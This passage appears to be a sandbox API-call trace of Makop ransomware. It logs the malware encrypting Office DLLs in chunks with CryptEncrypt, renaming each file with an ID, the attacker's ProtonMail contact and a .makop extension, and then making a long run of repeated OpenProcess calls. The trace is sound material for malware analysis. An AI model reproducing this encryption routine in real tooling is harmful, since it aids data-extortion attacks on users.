lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0088.156] CryptDestroyKey (hKey=0x48c7128) returned 1 [0088.156] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4d6874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.156] SetEndOfFile (hFile=0xf0) returned 1 [0088.164] GetProcessHeap () returned 0x48a0000 [0088.164] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0088.164] GetProcessHeap () returned 0x48a0000 [0088.164] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0088.165] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0088.165] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0088.166] CloseHandle (hObject=0xf0) returned 1 [0088.166] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0088.167] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0088.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0088.167] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=1784192) returned 1 [0088.167] GetProcessHeap () returned 0x48a0000 [0088.168] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0088.168] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0088.168] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.169] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0088.169] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0088.169] GetProcessHeap () returned 0x48a0000 [0088.169] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0088.169] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40) returned 1 [0088.169] CryptDestroyKey (hKey=0x48c7128) returned 1 [0088.169] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa4*=0x40, lpOverlapped=0x0) returned 1 [0088.231] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0088.231] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0088.232] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0088.232] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0088.232] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0088.232] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0088.232] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0088.232] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0088.232] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0088.239] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0088.243] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.243] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0088.245] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b3a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.245] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0088.245] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9132a, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0088.245] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0088.316] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0088.319] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9132a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.319] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0088.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b3a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.321] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0088.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x173980, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0088.321] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0088.329] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0088.331] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x173980, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.332] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0088.334] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b3a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.334] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0088.334] CryptDestroyKey (hKey=0x48c7128) returned 1 [0088.334] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b3a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.334] SetEndOfFile (hFile=0xf0) returned 1 [0088.344] GetProcessHeap () returned 0x48a0000 [0088.344] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0088.344] GetProcessHeap () returned 0x48a0000 [0088.344] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0088.344] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0088.345] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0088.346] CloseHandle (hObject=0xf0) returned 1 [0088.346] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0088.347] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures") returned 64 [0088.347] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*") returned 68 [0088.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0088.348] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.348] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0088.348] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF") returned 75 [0088.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.348] GetLastError () returned 0x20 [0088.349] GetProcessHeap () returned 0x48a0000 [0088.349] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x100000) returned 0x6780020 [0088.349] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x6780020, Length=0x100000, ResultLength=0x0 | out: SystemInformation=0x6780020, ResultLength=0x0) returned 0x0 [0088.927] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.928] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.928] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.928] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.929] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.929] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.929] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.929] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.929] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.930] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.930] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.930] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.930] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.930] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.930] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.931] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.931] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.931] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.931] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.932] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.932] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.932] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.932] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.933] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.933] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.933] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.933] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.933] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.934] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.934] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.934] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.934] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.935] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.935] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.935] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.935] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.936] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.936] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.936] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.936] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.937] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.937] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.937] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.937] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.938] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.938] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.938] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.938] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.938] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.939] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.939] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.939] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.939] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.940] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.940] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.940] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.940] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.941] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.941] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.941] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.941] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.942] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.942] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.942] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.942] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.942] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.943] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.943] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.943] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.944] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.944] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.944] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.944] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.945] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.946] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.946] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.946] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.946] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.947] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.948] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.952] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.953] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.954] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.955] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.956] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.957] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.958] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.959] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0088.959] 